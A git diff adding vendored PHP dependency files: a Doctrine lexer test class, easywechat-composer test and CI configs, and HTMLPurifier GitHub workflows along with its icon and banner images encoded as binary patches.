b/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/ConcreteLexer.php new file mode 100644 index 00000000..ed4d153d --- /dev/null +++ b/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/ConcreteLexer.php @@ -0,0 +1,49 @@ +', + '[a-z]+', + '\d+', + ); + } + + protected function getNonCatchablePatterns() + { + return array( + '\s+', + '(.)', + ); + } + + protected function getType(&$value) + { + if (is_numeric($value)) { + $value = (int)$value; + + return 'int'; + } + if (in_array($value, array('=', '<', '>'))) { + return 'operator'; + } + if (is_string($value)) { + return 'string'; + } + + return; + } + + protected function getModifiers() + { + return parent::getModifiers().'u'; + } +} diff --git a/vendor/easywechat-composer/easywechat-composer/.travis.yml b/vendor/easywechat-composer/easywechat-composer/.travis.yml new file mode 100644 index 00000000..e819807e --- /dev/null +++ b/vendor/easywechat-composer/easywechat-composer/.travis.yml @@ -0,0 +1,12 @@ +language: php + +php: + - 7.0 + - 7.1 + - 7.2 + - 7.3 + +install: + - travis_retry composer install --no-interaction --no-suggest + +script: ./vendor/bin/phpunit diff --git a/vendor/easywechat-composer/easywechat-composer/phpunit.xml b/vendor/easywechat-composer/easywechat-composer/phpunit.xml new file mode 100644 index 00000000..361d92cb --- /dev/null +++ b/vendor/easywechat-composer/easywechat-composer/phpunit.xml @@ -0,0 +1,20 @@ + + + + tests + + + + + src + + + diff --git a/vendor/easywechat-composer/easywechat-composer/tests/ManifestManagerTest.php b/vendor/easywechat-composer/easywechat-composer/tests/ManifestManagerTest.php new file mode 100644 index 00000000..261a2c30 --- /dev/null +++ b/vendor/easywechat-composer/easywechat-composer/tests/ManifestManagerTest.php @@ -0,0 +1,28 @@ + + * + * This source file is subject to the MIT license that is bundled + * with this source code in the file LICENSE. + */ +namespace EasyWeChatComposer\Tests; + +use EasyWeChatComposer\ManifestManager; +use PHPUnit\Framework\TestCase; +class ManifestManagerTest extends TestCase +{ + private $vendorPath; + private $manifestPath; + protected function getManifestManager() + { + return new ManifestManager($this->vendorPath = __DIR__ . '/__fixtures__/vendor/', $this->manifestPath = __DIR__ . '/__fixtures__/extensions.php'); + } + public function testUnlink() + { + $this->assertInstanceOf(ManifestManager::class, $this->getManifestManager()->unlink()); + $this->assertFalse(file_exists($this->manifestPath)); + } +} \ No newline at end of file diff --git a/vendor/ezyang/htmlpurifier/.github/workflows/ci.yml b/vendor/ezyang/htmlpurifier/.github/workflows/ci.yml new file mode 100644 index 00000000..f0048048 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/.github/workflows/ci.yml @@ -0,0 +1,36 @@ +name: ci + +on: + push: + pull_request: + +jobs: + linux_tests: + runs-on: ubuntu-latest + strategy: + fail-fast: true + matrix: + php: ['5.6', '7.0', '7.1', '7.2', '7.3', '7.4', '8.0', '8.1', '8.2'] + + name: PHP ${{ matrix.php }} + + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + tools: composer:v2 + ini-values: error_reporting=E_ALL + extensions: iconv, bcmath, tidy, mbstring, intl + + - name: Install dependencies + run: composer install + + - name: Configure simpletest + run: cp test-settings.sample.php test-settings.php + + - name: Execute Unit tests + run: php tests/index.php diff --git a/vendor/ezyang/htmlpurifier/.github/workflows/lint-pr.yml b/vendor/ezyang/htmlpurifier/.github/workflows/lint-pr.yml new file mode 100644 index 00000000..597a6ed7 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/.github/workflows/lint-pr.yml @@ -0,0 +1,19 @@ +name: "Lint PR" + +on: + pull_request_target: + types: + - opened + - edited + - synchronize + +jobs: + main: + name: Validate PR title + + runs-on: ubuntu-latest + + steps: + - uses: amannn/action-semantic-pull-request@v4 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/vendor/ezyang/htmlpurifier/.github/workflows/release.yml b/vendor/ezyang/htmlpurifier/.github/workflows/release.yml new file mode 100644 index 00000000..eb2308a6 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/.github/workflows/release.yml @@ -0,0 +1,29 @@ +name: release + +on: + workflow_dispatch: + +jobs: + release: + runs-on: ubuntu-latest + + name: Release + + steps: + - name: Checkout code + uses: actions/checkout@v2 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: 5.5 + + - name: Run automated release process with semantic-release + uses: cycjimmy/semantic-release-action@v2 + with: + extra_plugins: | + @semantic-release/changelog + @semantic-release/git + @semantic-release/exec + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/vendor/ezyang/htmlpurifier/art/1000passes.png b/vendor/ezyang/htmlpurifier/art/1000passes.png new file mode 100644 index 0000000000000000000000000000000000000000..3351c92ab2ac885ec2191425b6b97d71afdbf280 GIT binary patch literal 3522 zcmcgvXH*l|wvKHC1RN0o#Q;J;DN;2^XOt>kNoXcWks>7+N{FFYC=(b414h9JC?ZJB z&;&vNrAm;AfIvb>7`g}nNe~Dj@$uezcddK>+;#6-_q`wIoc-fl=j^r5-rxE@tgExF zgxD!D001CiZ)bH40ND3#FU}I#zqb=N&6M{J(I`8wXaGR6`@h#dyr!i59yrF{>KFI; z=WJ#NV%A3H-JP#dFfkO%SmcpL&wis42eC5oxdo|r_BicJf_**|kp~g;tYD88<+$jc ztJZ&{9xUM~;}4b$fe)7(R}9OP$MyiC>kXby6Kp9tuh$M|TBloU3)xC4+kFt zC{6js0RaG02*?%Ss(gR{JtKhEcaPr4~hY<{%0XM`uE#0 zTQws~IQKBwsW%%pLeSV@fpg$Ji z5BW`fY;8+6Gqp)KJh0YtgD+4c@M4%uCb|oWLOt~<#Sckh)H8~;24Z#}zJCEunhw%P z8GJU+&jJ)FE23r(QWC6D0M4wt)=f0%uz>cmtwqqfGv;ndsadH2Qz@kB}i>4 ziCHrqT71mpejs7gjyR4g2-+iKA+pwf(UmyoXf7|oRN=^?&8oE2)eFm|FC&{6 z&}@lU6XYT@wl_a`yKo~9r>HTgx*HCb&$3zgPV5j?guKMAwewf!=BzxoH#QnL;%{PK z4Sm_!**Ru>H!vb=bKEzXE#wX8bbuy!?4~Jm!NzsJvTUl;wLO$jC>$bfI-hB4B*NS3 z4wn`iUy!zM8egV=%|ZQTmEH1Q+Ikx9eDzd5b&)jqnBZLY_5GwmKdp42;o?LPmVnAA zj*pLjBOclYpPHN$nSCld05RDsX<^EfTcJ`@H+4l258Zpi)q;uRngjYUpcwslWUXgB zUp)@A+mXF}<70sUf9tk<=z6mleWhg-E)5FsA*e|Y_D<++4OY{D+0#*%im0jU1DW#` z!2F1qiBCy3v9vm!Y2S_{Hmp>z%cZtty@`0>RoCV%RZm~xaTk4VCoE0?**fjpodWL8 z4vF({Wh(iHU^d$Vy3wk+dg$cuPVoJSTdPcD3%R*DN~f=eNK~a7u<`RqGzNo7N{TGx zHn+7&82UAOGg+)>`#n572Ii41H%QdJ$*Cy}-5?>Y^et}o4ibrsj-J&<3w9bkg205t z@1q{sa*xvtA?>^cd9L#MIlTWUqX{vnV!ODwSWkBx{#CZj^ryAYAMqd&bAQw=&F0W%^xy0iN^^QLcSo{9+ z83f6(A>ZqgSrK*Hwrt+*H*xs;%khSv6crT6i_m&Du$x1ZhGxY?od2P@K5J-0 zpCw7~@V!z(=|t=4%mPxAeyr4IE-~l)=_JQMs`5O{;Z(mwV~?L(LsjLB@MO}@wQyqF zhzr`5^d8qextg~Oy=4tyI9FMo`4kl>i4WnAFUM*b^=kLAmS1I+=PDsUO|2ASYknVj zUSbTaEDF)Pn&X}EBo;zeW##SB*|!}Vnj6$~A*e`qA+GPn-%_gsLk;!QuQmuc#9R+^ z>SxMl`-q3l$8?wuHKokpZ1Jrd_Ow_M?mVu$R4y5I0)gd!uco#C9QXJHHQrQ4D2DSl z7-@{DtShdFI15!;ZvK?@@ugHm@=QSEH*{&0%1eB~8ALbck;%HMJK_pCqx0_?OiDWj z5$WDuAYwwvDBJrnoe2kj=t`BYRCDo%uoIOSdGYfe-w=Hr7C#fQ~`Ii(qr@cQH$N1i0!+G@zClE$VZd*^8)C|6Gye&p^%Ls zTg3=sCM}ZLPt+N>1(c0J?zkzszL0Xg zg_oe928H=9#6plQ9rlrh zP|f`;Zdhbk5M!|a6{_|mYe4h)+1b5mzoOY;M+_T-Jb7)TkBE%yEC}-s<6P(Z)qX1o zt@Ui~=}fmbUH(q0L-ixlF&3fW=ng9gDEonD%F^uX&5(*}Z6ocuAqCMT`PON?XfoJT zt0=^F*ji)57)#olY{5(l-}(q++rL(~uh0l|w+%iYI-6kL30$9=VuZbI&g^A9wZm2Qp}MmB{>oeLxcJlm zsWA8_3M4tJ`pfQT^v6qpzxt=e|2?7d+D0^nJKMW^L>4Lo9Z&5Br`065J<*|11p2}x zGVhLoFljQ1XP(=A!zh>8$jUsAZR}|3N|LiBnct60nv6;MnwLD?x$)&fdFEB0Qw_ln zgQ-7J$*BS=e?F75(p67S4h~i<#OqLmi-|p)M77`O1^xKecOSnM1X9fuH@mi5lyB|7 z$W^QTL~vQHm?TA>w0_xSTnx|lY@%NJG#4QJsz)y$*0Lm;yi5h)8MF_p-QrTyd#!=Pxjycc{wuuf@nijY3kgYBeqxJ<9j5@Y2+(cNgXNIFZ3jE z{2Q6773uQV$QDJz0djF?PPP>UQ;Q>g-DO0!9CFR@ujAZDa(}r50jZ1x`V80iB%U|D z?Y|G>)YA)!Q)+1Ed%q;7G+mJ)sQOeaPjp)dK2i=vn!cTnAvlq0Oj%@b$c*t2+;Wik7Tmx6c<4)5&5mu#kelb4S-I`-**YL*` ziovHuSM*%U**H1g#upNdV=4sMZ4Q{PlTjd<(ixvV61ERJb*RM7Hci$FBGH zY$%Rox@bd_YqZZk&6sat;8{BCRdw`7Y`b*Wd=Hs-9O@Q+`H~Q8RRqtY;o;1x1AZ=? z(ouSN#eoX5!ho~GEKWC0$yXtae&piYlDhXX-zi}>eoU)xe)qd=RN?8e`fz^Z6*n)X zf_gG%cCBx(J)MLGJdUp~=@9a1Ya#^xLUb$hu8XRgz3~Etkj4sg3Aa%NgJI*qpL^6& z3VQv29jv6JF2V9ykGd~)Ypi}l!iy|xHCqex81-FjrPd_foh0GzpZ z*USz8;7d66BZT;m_3v7;;A3+-_^xv(03b&FOZc+Y#Xtanu$XCCV2`qp^Cf=rAGEu6P5%el35lxW$Hu>AA z`2I_&K|PX3Q~8tWbc@8M{VS3Q@26nV`bHi%r4=B16kLp%$uTkp2cTozx*Ghhz& ze_u8zsk7UPW$*z+4p(c90f09748Zua8~pAfJ3>ES>$wbQ{2v1fUUC~uri^exOG^v& zb%J=N!xHKIKlQBur&PVm9(4#SpZS56Q{tNc%iFImxFh0QPX+xf?rg z61gScHYiJu-1e;4@g6KVZ~w3~g5si)(>)^`yinHay2g&Ox3^z??N}K;*CFTvBD)e3 z`V<|3WCz#DjX&4d15hJ?{<0#734TX0STO8}$35g^%1?oK?j1ty&%Z1V^LTMYdL>+~ z%Capzwzno>v!Ci6+H<8fj+dauKE$_$B3(_0DpgVar3!u z5uiHXR(#xrsi~==<^5Jjt^&@T2m91HOA=5dhwIv1?OR5VT&$7@-eQXs*aUq-C98k!}(fn4CwuLBxsaoX>er+`f5UEV%w#DL@XS^~G^w+x$`-bVb7fo-YxMA!QyK#| zSty4Y6~fOcJMx=qeR7?em~ciSQx4@a+KcyKv7FJ;j!xj+p?|o)(~MsmyT-m96DO%Kgp2eZJ;@`H^(PD^8pa@EQNZLkaNf!v65) z<|eJuX?{#PrK_F&d;mupDm4C$C%b2v)6!ysZF7!1+^dUesjZdAyb(kjMg7%ZhSLNb zV)_<^|6s%v*$7R8hyTc}fMV?&fP0CJek3*XWqc9G^cMsOzxyawNIjVHiNTC6l8N+@ zuRC6Mb7snqL?v#c8wkmzTT1yH3A;T@`9-BvbT)a54)QJPmr66|5iAIBJEW7pq?e36 zh}~<>*fkjvaZ-Xk*FCH7bF14mllA4TXKB0 zg82VOpvxGmF5H*!%lavR7VN)zSF)-Zhf1&zkI6+c{j}u#csO^8%iD;X#u8izc!TCS zx5POTNnI~|F3Q(MYHfObVYYYM*A>IDjAI@D0rT~Orb5k}j00+VCF8Nse5Q7WE}tzz zL+XvlTvjsb=BAN^x0P{Vy}qGyekzK_30)h51QkXeQ3qiW(rqrHRW17m`8%ZOF_-HN zHZjES*9U(jjm)0GfL#Wh*mk6N3Jm90!>uqm*6|d#7Wf&N%qxM@cy(Sn*QTQ$ zOfI)(c_t6|>YqJJ#j{FN*Bi(+$YGo+w|s_1Ep;n3D-tuQW(%cP15bTZ8$KEvHpo(Gt`5-MH28$R zQi;4+a^uAf35$Z(3Q6?`h4Vf}ZcBC7KkQquvPaHsM=dS%_xI){Kt)2Tqx9)Dqc=Hh z3vBV&N*-7Sln!qy_DH^{MNo9ZCVNG8m8gbJGreWZBRx$AZR%-;_eU@#9PjXbjKXf! z!9E6-lM_NH`bh_-L52|EUa4!|6=Jzgo+>o)4wLiSF@w;I(OK#PF}8t@c@@+y@)QAd zA;=SPeCDO3Yau$Ard@?88b4u=MU4=8ozZ9Q5o|2j9Wax7KP`9Zex*N~c zw`W-IbnQTLQkdtM+?ArXg#*jDWyUbR6q3VhT8J+F_Sr{aWB*Mx;_KmQ%xe#!IWDpH z0k^{qjcH|cOLU)9@x}dv7$mZM^Rr{q#kT|P((Sbz>%&IN0DtEkTR_4i3Q?OIuO-?d!9O< zO&R>e6W<0^2He?G6~>C4;vH$9*_Sq(U!YXZKKb)T$CSdxY1gh5FXngQ*jXmZ7ixhK^h|26&>%vJ5bmiW!?Z<%2d2U%5>E3Xb&L;OISL- z-I>{+yIcF##zpY1H22NlH@o-Qx+E8(5l!ggg6#V6oah?fY{v1|7et?tTP!%fdQJ51 zCD9c^Lz%%wgeI)T$U^7RG!5Oof78jAL{Xq9a1IKL?b16Px164sQ&IqotsBP19~6&G z8}^re6SQMKp6hX;aMCeP@^wRq*R~@1{fF%l`1ld_*4uaZ-(Yu>!0;Sh!SL9$&)FG9 zE@1kcT|Gn4v&wU}N0gE(3KRvr0>Q&dU0;O9Pud`bt|$ruc27`GkK{^prk-YdXL`{8 zr|xdcIp!Yq{%q3eqghu+*){j^mB}Ny+xR+P>#|J8zKo$eRuAN*p1B-}^<$;rAUOkKa8)Cckrp!tZJ-U$HuDdSi^E1=U3LHDs0 z=P(8QJHs^wm{*7^GicexPpEB>zXfiG;4kU>DOfL=SI-42!KvWrBv{ovSFjc&#;xF{ vh4uW_^6F&^MW4EbYl#QqT>AFmrSvIQYy1xyt6E#2X$vP3NAH61fhE^pI}oir literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/art/icon-16x16.png b/vendor/ezyang/htmlpurifier/art/icon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..0c4ad4ff174d083ce76fe18977a0eff9aef40d18 GIT binary patch literal 382 zcmV-^0fGLBP)L z)4fUqQ4ogVCrfHYyaV?J1VL=P08z8vfS{Gw*;xqof{mR4L2OKEvZa++i6B_m$+m(h zq6QJ;&stDJKc?o-XT{)mYrj;^}Qesu%fU>fK63`@1CAN5fTXMG(3Wz1n)``6{; c4F|Y@Z?{86(9aqTxBvhE07*qoM6N<$f*r`7%K!iX literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/art/icon-16x16.svg b/vendor/ezyang/htmlpurifier/art/icon-16x16.svg new file mode 100644 index 00000000..659c933d --- /dev/null +++ b/vendor/ezyang/htmlpurifier/art/icon-16x16.svg @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/art/icon-32x32.png b/vendor/ezyang/htmlpurifier/art/icon-32x32.png new file mode 100644 index 0000000000000000000000000000000000000000..23a498ccb57284be89bf4b862b2d51d6865b9d1e GIT binary patch literal 615 zcmV-t0+{`YP)yXUeqX9jtm)2F6-jSgf0O55we zVPN3fRAkqUjpG|@G4sY{;7kWUuuh+Ws{vp$dhrJM9zCA`_H+QSAkM4@fH>eqab`6< zC~aQ?vn>aIAcjq1pt`o7+{CW0FLwlum%jhJy+p-2{`84l?tDykx$w#lugJ0 z#F;IntpF#1d8O@uVn-YT2fgnnapoO>()MTtz((*%rL-;GO|!_p3ETmufol~3TGyY` zNu0S0oCWRyuPDCP&J||>ab^X-Nhoc1QJj#Efqh*8R2C%S%ut+p4!rLwcr8GrUws2~ zs{a6O0(<~&^#yPnI4#aRX*x0cyGyM;0`ua`qj47)Hv>7a2%P$t;4oSSLIDx`J`-n_ z%A9L7ova6pmVt0g9}ffK%vQtTuw7>iyrw8tcKbPl1_5*6C&l&eE$|?I`5Rv8d>?N2vJwCQ002ovPDHLkV1l>7 B{(k@f literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/art/icon-32x32.svg b/vendor/ezyang/htmlpurifier/art/icon-32x32.svg new file mode 100644 index 00000000..a60927ec --- /dev/null +++ b/vendor/ezyang/htmlpurifier/art/icon-32x32.svg @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/art/icon-64x64.png b/vendor/ezyang/htmlpurifier/art/icon-64x64.png new file mode 100644 index 0000000000000000000000000000000000000000..0a65932dc6569ef73840dd8c9d6aa68dbc485078 GIT binary patch literal 1036 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 